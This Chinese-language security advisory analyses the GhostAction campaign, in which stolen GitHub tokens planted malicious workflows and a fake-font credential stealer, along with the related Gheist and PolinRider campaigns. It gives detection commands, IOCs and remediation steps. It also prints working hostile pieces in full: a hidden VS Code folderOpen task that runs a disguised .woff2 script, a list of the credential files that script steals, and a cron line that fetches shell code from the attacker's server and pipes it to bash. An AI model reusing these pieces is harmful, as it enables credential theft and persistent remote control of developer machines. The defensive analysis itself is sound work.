我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 97.1% 的成绩。 了解更多

深度解析

深度解析

GhostAction:被盗 GitHub 令牌波及 23,000 个仓库

被盗 GitHub 令牌在九天内向 22,964 个仓库推送了 72,026 个恶意提交;请撤销令牌并排查 #ghc2 cron 任务。

摘要

  • 被盗且从未撤销的 GitHub 令牌让 GhostAction 操作者在 2026 年 10 月 13 日至 21 日之间向 22,964 个公开仓库推送了 72,026 个恶意提交。GitGuardian 于 2026 年 10 月 27 日记录了这一波。
  • 该活动现已走出 CI:一个伪造字体文件和一个隐藏的 VS Code 任务从开发者机器上窃取凭据,而一个每五分钟运行一次的 cron 任务在仓库被清理后仍保持控制。
  • GitGuardian 未量化这一波中被入侵的端点数量; 1,792 个推送账户已被攻陷,且受影响仓库中有 7,989 个是新增受害者。GitHub 的工作流保留机制挡住了它能看到的所有恶意运行。
  • 撤销被盗令牌,在各分支上删除植入文件而不要回退提交,并在每个接触过受影响仓库的机器和 runner 上排查 #ghc2 cron 条目。响应顺序见"如果仓库被波及该怎么办?"。

我受影响吗?

以下都是暴露路径,其中任何一条都足以采取行动:

  • 您控制的 GitHub 账户或组织在 2026 年 10 月 13 日至 26 日的浪潮中收到了不是您编写的提交,添加了"如何检查是否已被入侵?"中列出的任一植入文件。
  • 某台机器在 VS Code 中打开过受影响仓库并信任该工作区、允许自动任务且装有 Node.js,因为随后一个隐藏任务执行了一个伪装成字体文件的脚本。
  • 某个自托管 runner 从受影响仓库接过任务,尽管 GitGuardian 观察到的 self-hosted 家族含有语法错误。
  • 您组织的云账户通过 GitHub OpenID Connect 信任受影响的仓库,因为其中一个载荷家族会请求 GitHub OIDC 令牌并尝试代入它找到的每个 IAM 角色。
  • 另外单独地,Gheist 活动通过另一批被盗令牌植入窃密工作流;其分支名和文件名也在下面的检查之列。

这些令牌是早前被盗且从未撤销的,而且同样的账户会被转售给其他行为者。GitGuardian 在此前的 10 月 8 日浪潮中已观察到 1,792 个推送账户中的 1,382 个。就 Gheist 而言,Wiz 将凭据来源追溯到信息窃取木马日志,以及 2026 年 3 月 Trivy 项目被入侵时暴露的令牌。

恶意代码做了什么?

操作者根据想让代码在哪里运行而植入不同文件。GitGuardian 在 10 月 13 日至 21 日的浪潮中统计出五个载荷家族:

家族 运行位置 提交 仓库
Seven workflows GitHub 托管的 runner 33,411 19,153
Font stealer 开发者机器 30,804 17,667
Security-audit re-point GitHub 托管的 runner 6,988 6,902
Legacy OIDC GitHub 托管的 runner 和 AWS 568 418
Self-hosted 自托管 runner 257 172

提交量最大的两个家族是 seven-workflows 和字体窃取器。seven-workflows 家族推送 audit.yml、build-check.yml、repo-health.yml、lint.yml、ci-check.yml、test-suite.yml 和 code-review.yml,各自以无害消息独立提交。载荷在工作树和完整 git 历史中搜索凭据,现新增了四个 AI 提供商令牌模式:sk-oat-、sk-svcacct-、gsk_ 和 xai-。它还用工作流的 GITHUB_TOKEN 克隆仓库 wiki 并搜索。当其服务器不可达时,它会退而使用一个名为"build cache"的私有 gist 存放 c.dat 文件。

legacy OIDC 家族复活了一个旧模板。它请求 GitHub OIDC 令牌并尝试代入环境中找到的每个 IAM 角色 ARN,然后外传所得会话。self-hosted 家族使用 runs-on: self-hosted 并读取 runner 上的云和 AI 工具凭据文件,但 GitGuardian 发现其中存在使其无法运行的 YAML 语法错误。security-audit re-point 家族通过 6,988 次更新提交,将已有工作流指向新的服务器端口。

最重要的家族在开发者机器上运行,完全绕开 CI 日志。操作者在两次独立提交中推送两个文件:public/fonts/fa-solid-400.woff2 是一个纯 Node.js 脚本,而 .vscode/tasks.json 定义了一个隐藏任务:

自动执行还需要 Node.js,并在受信任的工作区中允许自动任务;仅克隆或打开仓库并不能证明机器已被入侵。

{
  "label": "eslint-check",
  "type": "shell",
  "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
  "isBackground": true,
  "hide": true,
  "presentation": { "reveal": "never", "echo": false, "close": true },
  "runOptions": { "runOn": "folderOpen" }
}

当开发者用 VS Code 打开该文件夹并信任工作区、允许自动任务且安装了 Node.js 时,该任务就会运行这个"字体"。脚本读取 ~/.aws/credentials、.pypirc、.npmrc、.git-credentials、.netrc、~/.claude/.credentials.json、~/.gemini/oauth_creds.json 和 .kube/config,收集 SSH 密钥和匹配的环境变量。它在家目录中搜索 AWS、Anthropic、GitHub、npm 和 PyPI 的机密,并把全部内容发送到操作者的服务器。

持久化如何在仓库清理后存活?

三个家族安装同一个 cron 条目,在仓库被清理后仍保持对机器的控制:

*/5 * * * * curl -s -m 10 http://193.32.204[.]199:8080/c2/$(hostname) | bash  #ghc2

每五分钟,机器从命令控制服务器获取一个 shell 脚本并执行,因此操作者可以给每台主机下发不同的后续代码。GitGuardian 的结语点出了运维教训:清理仓库是容易的部分,仍然有效的是凭据。

该活动如何达到 23,000 个仓库?

规模来自凭据窃取,而非某个漏洞。1,792 个推送账户的令牌早前被盗,主要经由信息窃取木马,且从未被撤销。GitGuardian 统计有 2,875 个仓库所有者受影响,其中 14,906 个仓库已是 10 月 8 日浪潮的受害者,7,989 个是新受害者。仅 10 月 15 日就有 32,099 个提交,10 月 14 日至 16 日占总数的 67,556 个。

该活动还与另一个操作者合流。10 月 22 日至 26 日,188 个 GhostAction 提交被原地修改并与 PolinRider 的加载器一起强制推送;PolinRider 是 GitGuardian 归为朝鲜关联行为者的活动。GhostAction 字体窃取器的启动器是 PolinRider 手法的复制:同样的隐藏 eslint-check 任务、同样的 shell 命令回退,只有文件名不同。PolinRider 自身的链条更重:

  • 一个从以太坊区块链交易解析其命令控制地址的加载器。
  • 分阶段下载更多载荷,用 node -e 解码并执行。
  • ~/.node_modules/ 中持续拉取代码的常驻 runner。
  • 窃取浏览器登录凭据、Cookie 和 150 个浏览器扩展(包括密码管理器和加密钱包)的最终阶段。

GitGuardian 没有发现明确指标表明这两个操作者是同一团伙。

GitHub 的保留机制挡住了什么?

自 2026 年 7 月 28 日起,GitHub 会将公开仓库中可能恶意的 workflow 运行保留至协作者批准。GitGuardian 没有发现任何 GhostAction 载荷成功运行:它能看到的每次恶意运行都被阻止,且 self-hosted 家族还带有一个语法错误。

该保留有三个缺口,而这个活动正好全部占住:

  • 私有仓库和 GitHub Enterprise Server 不受保护:Wiz 在那里观察到 Gheist 的 workflow 运行完成、一分钟内被删除,且组织的云角色从攻击者分支被代入。
  • 字体窃取器完全不用 CI。一个通过 VS Code 在开发者机器上运行的文件,对一个围绕 workflow 运行构建的控制是不可见的。
  • 保留无法撤销被盗令牌。每次被阻止的运行仍会告诉操作者该账户可用,而 1,382 个账户早在 10 月 8 日浪潮中就已暴露。

Wiz 在单独的 Gheist 活动中指出同一模式:自 2026 年 9 月 15 日起,该活动从 850 多个账户植入超过 13,500 个分支。其 sync-check.yml workflow 将仓库机密以 base32 编码打印到自身日志中,然后通过 GitHub API 下载该日志并在几秒后删除运行。截至 10 月 24 日,约三分之二的涉案账户已不可用,Wiz 将此解读为响应行动。

按受影响仓库数统计的 GhostAction 五个载荷家族,高亮显示针对开发者机器的家族。
图 1:seven-workflows 家族触达的仓库最多,但字体窃取器在开发者机器上于 CI 之外运行,触达了几乎同样多的仓库。来源:GitGuardian,2026 年 10 月 31 日核对。

攻击如何展开?

被盗令牌向仓库推送植入文件;保留机制挡住 workflow 运行,但字体窃取器文件对在开发者机器上执行并留下一个控制循环。

flowchart LR A["被盗的 GitHub 令牌,
从未撤销"] --> B["操作者推送 workflow 文件
和字体窃取器文件对"] B --> C["已观察到的公开仓库
恶意工作流运行被阻止"] B --> D["字体窃取器在 CI 之外运行:
VS Code 的 folderOpen 任务"] D --> H["受信任工作区 + 允许自动任务
+ Node.js"] H --> E["伪造的 .woff2 以 Node 运行
并读取凭据文件"] E --> F["机密被发往 C2
并安装 #ghc2 cron"] F --> G["每五分钟一次的控制循环
在仓库清理后存活"]

攻击者能做什么?

在开发者机器上运行字体窃取器后,操作者读到的是凭据保险库会持有的同类文件。也就是云凭据、注册表和包管理器登录、Kubernetes 配置、SSH 密钥和 AI 工具凭据,包括 Claude、Gemini、OpenAI 和 Hugging Face 令牌。借助 workflow 家族,目标是仓库与组织的机密、wiki,以及通过 OIDC 信任的云角色可达的一切。

更深的风险是被盗访问的复用。两份报告都观察到其他行为者在操作同样的账户:约 1,461 个仓库被改名为破解软件诱饵、通过"Windows RDP Runner"仓库滥用免费算力,以及被推入 188 个提交的 PolinRider 加载器。Wiz 还追踪到 Gheist 的企业受害者,操作者在几分钟内轮换多个用户的令牌并克隆私有仓库。数小时后,同一组织的云凭据被用于枚举 AWS Secrets Manager。攻击条件就是凭据所允许的一切:令牌能写入的任何仓库,以及之后打开它的任何机器。

如果仓库被波及该怎么办?

  1. 使用下述检查中的文件名,在每个分支上删除每个植入文件。不要回退提交:GitGuardian 警告回退"Update"提交会恢复之前的恶意版本。
  2. 撤销该账户的凭据:个人访问令牌、OAuth 应用授权和 SSH 密钥。GitGuardian 观察到,只要令牌被保留,清理后就会出现再感染。
  3. 轮换提交到仓库或其历史中的每个凭据、每个 Actions 机密,以及存储在仓库 wiki 中的每个凭据。
  4. 在每台曾用 VS Code 打开受影响仓库的机器上,以及每个自托管 runner 上,检查 crontab 中的 #ghc2 条目并删除。然后轮换所有本地凭据:云、注册表、AI 工具、SSH 和 Kubernetes。
  5. 查找账户上名为"build cache"且包含 c.dat 文件的私有 gist 并删除。
  6. 如果您的 workflow 通过 OIDC 向云认证,请在云审计日志中搜索来自 GitHub、针对意外仓库或分支的 AssumeRoleWithWebIdentity 调用。将信任策略限定到具体仓库和分支。
  7. 要求对 workflow 变更进行审批,并且不要批准被保留的 sync-check 运行:它们就是攻击本身,不是卡住的任务。

针对 Gheist,Wiz 补充:轮换受影响仓库可访问的每个仓库、组织和环境机密,因为删除运行或分支并不能消除暴露。将执行过 ci-sync 分支的任何自托管 runner 连同其实例角色一并视为已被入侵。

如何检查是否已被入侵?

在您控制的仓库中,按每个分支搜索该活动的文件名和提交信息:

请逐个检查分支,不要在编辑器中打开。以下命令检查当前工作树和本地已有的分支引用;应先在干净环境中获取所有远程分支。文件名匹配只是待调查的线索,并非恶意软件的确证。

# GhostAction planted files and messages (adapted from GitGuardian)
grep -rlE "fa-solid-400\.woff2" .
grep -n "runOn" .vscode/tasks.json 2>/dev/null
ls .github/workflows/ | grep -E "audit|build-check|repo-health|lint|ci-check|test-suite|code-review|maintenance|cache-cleanup|runner-maintenance|cleanup-job|cleanup_cache|github_actions_security|security-audit"

# Gheist branches: ci-sync- followed by six characters
git for-each-ref --format='%(refname)' refs/heads refs/remotes | grep -E '/ci-sync-[0-9a-z]{6}$'

检查接触过这些仓库的机器和 runner:

crontab -l | grep "ghc2"        # the persistence marker
ls -la ~/.node_modules/         # PolinRider: .npm-ws-runner.js, .npm-ws.json, .npm-ws.pid
ls -la .gdmp_pat .gdmp_patg .gdmp_sweep 2>/dev/null   # Gheist self-hosted job helpers

GhostAction 家族的外传端点是 http://193.32.204[.]199:8080/?c=<tag>,已观察到的标签包括 auto_20261013、auto_20261015、reinject、full1、ssh1 和 oidcm2。cron 控制通道是同一地址下的 /c2/<hostname>。在 GitHub 审计日志中,Gheist 可通过 gheist 用户代理,以及 ci-sync-* 分支上完成后一分钟内被删除的 workflow 运行来识别。云日志中则表现为主题包含 ci-sync- 分支的角色代入。PolinRider 的区块链解析器从以太坊地址 0x1eef0849eda15d87f64e51c73c8442cf3c8bcef3 读取,备用控制服务器在 95.135.181[.]151:443。

这里有两个诚实的局限。GitGuardian 的计数是下界,因为只覆盖其数据源观察到的部分。运行过字体窃取器的开发者机器在仓库历史中什么都不会显示:cron 条目才是关键的痕迹。

时间线

  • 2026-09-15:Wiz 开始追踪通过被盗令牌植入 sync-check workflow 的 Gheist 活动。
  • 2026-10-08 至 2026-10-12:GhostAction 的第一波十月攻势向约 30,000 个仓库推送 security-audit.yml;早期 workflow 在 10 月 9 日左右 GitHub 拦截生效前运行过。
  • 2026-10-13:第二波开始,于 22:58 UTC 重新指向 6,370 个既有文件。
  • 2026-10-14:seven-workflows 家族于 13:22 UTC 启动,self-hosted 家族于 14:11 UTC,字体窃取器于 21:39 UTC。
  • 2026-10-15:该活动达到峰值,一天 32,099 个提交。
  • 2026-10-19:Gheist 的 Tool B 增加自托管 sync-host 任务和 LAFA==== 日志分隔符。
  • 2026-10-20:旧版 OIDC workflow 于 14:16 UTC 回归。
  • 2026-10-21:GhostAction 的最后一个提交于 04:37 UTC 落地。
  • 2026-10-22 至 2026-10-26:PolinRider 加载器被并入 188 个 GhostAction 提交并强制推送。
  • 2026-10-25:Wiz 发布 Gheist 分析。
  • 2026-10-27:GitGuardian 发布 GhostAction 升级分析。

常见问题

有恶意的 GitHub Actions 成功运行过吗?

在 10 月 13 日至 21 日这一波中,GitGuardian 未观察到公开仓库里的恶意工作流成功运行。GitGuardian 发现它能看到的每次 GhostAction 运行都被 GitHub 的审批保留阻止,self-hosted 家族还额外带有一个语法错误。10 月 8 日的那波在拦截生效前确实运行过,这就是账户清单重叠的原因。在 Gheist 中,Wiz 确认在私有仓库和 GitHub Enterprise Server(保留机制不适用)上有已完成的运行。

GhostAction 和 Gheist 是同一个活动吗?

不是。Wiz 明确两者不同:Gheist 用 sync-check workflow 和 ci-sync- 分支通过 GitHub 自身的 API 外传机密,而 GhostAction 使用不同的 workflow 文件并外传到 193.32.204[.]199。两者都靠被盗令牌运行,在更大的凭据生态中部分账户重叠,且两份报告互相引用。

GitHub 的保留为什么没能防住字体窃取器?

该保留是围绕 CI 中的 workflow 运行构建的。字体窃取器从不进入 CI:它是一个伪装成字体文件的脚本,由 VS Code 在打开文件夹时触发的任务启动。CI 控制路径中没有任何环节能看到它,因此其痕迹留在开发者机器上,而不是 workflow 日志里。

运行过字体窃取器的机器会怎样?

将其视为已被入侵。该脚本读取凭据文件和环境变量并发送到操作者的服务器,然后安装 #ghc2 cron 条目,每五分钟获取并执行新代码。GitGuardian 的处置顺序是明确的:先移除持久化,再轮换该机器能接触到的每个凭据,并且不要依赖仓库已被清理。

令牌所有者是唯一的受害者吗?

不是。克隆受影响仓库并允许其恶意任务在 VS Code 中执行的人也可能遭到入侵。Wiz 还观察到 Gheist 的企业受害者中,同一组织的云凭据在数小时后被用于枚举 AWS Secrets Manager。这把影响半径扩展到了最初被攻陷的账户之外。

为什么这个活动难以永久阻止?

因为令牌。只要令牌被保留,就观察到清理后再感染,而操作者不断从信息窃取木马日志和此前的供应链入侵中获得新令牌。Wiz 的加固清单正是针对这一点:

  • 使用 GitHub Apps 或有效期短、权限细化的个人访问令牌,替代长期有效且权限广泛的令牌。
  • 将 OIDC 信任策略限定到受保护分支。
  • 在持有生产机密的环境上设置审查者。
  • 使用不带 Docker 套接字、不开放元数据访问的临时自托管 runner。

用 Ostorlab 检查您的仓库依赖什么

依赖清单有助于检查供应链。Ostorlab 的软件成分分析可列出项目依赖;恶意文件、分支和端点持久化仍需单独调查。

参考文献

  • GitGuardian,GhostAction Crosses Paths With PolinRider: Inside the October Escalation,2026 年 10 月 27 日:https://blog.gitguardian.com/ghostaction-x-polinrider/(2026 年 10 月 31 日核对)
  • GitGuardian,The campaign that never stopped: tracking GhostAction from 2025 to 2026,2026 年 10 月 7 日:https://blog.gitguardian.com/ghostaction-github-actions-supply-chain-attack-returns/(2026 年 10 月 31 日核对)
  • Wiz,Gheist: Attempted Scaled Abuse of Stolen GitHub Tokens Stumbles,2026 年 10 月 25 日:https://www.wiz.io/blog/gheist-attempted-scaled-abuse-of-stolen-github-tokens-stumbles(2026 年 10 月 31 日核对)
  • GitHub changelog,GitHub Actions holds potentially malicious workflows for approval,2026 年 7 月 28 日:https://github.blog/changelog/2026-07-28-github-actions-holds-potentially-malicious-workflows-for-approval/(链接来自 Wiz,2026 年 10 月 31 日核对)
  • GitGuardian 引用的 OpenSourceMalware 对 PolinRider 的分析:https://opensourcemalware.com/blog/ghostaction-copycats-polinrider-by-hiding-a-stealer-in-a-fake-font-file(2026 年 10 月 31 日核对)
  • VS Code, automatic task execution: https://code.visualstudio.com/docs/debugtest/tasks#_control-automatic-task-execution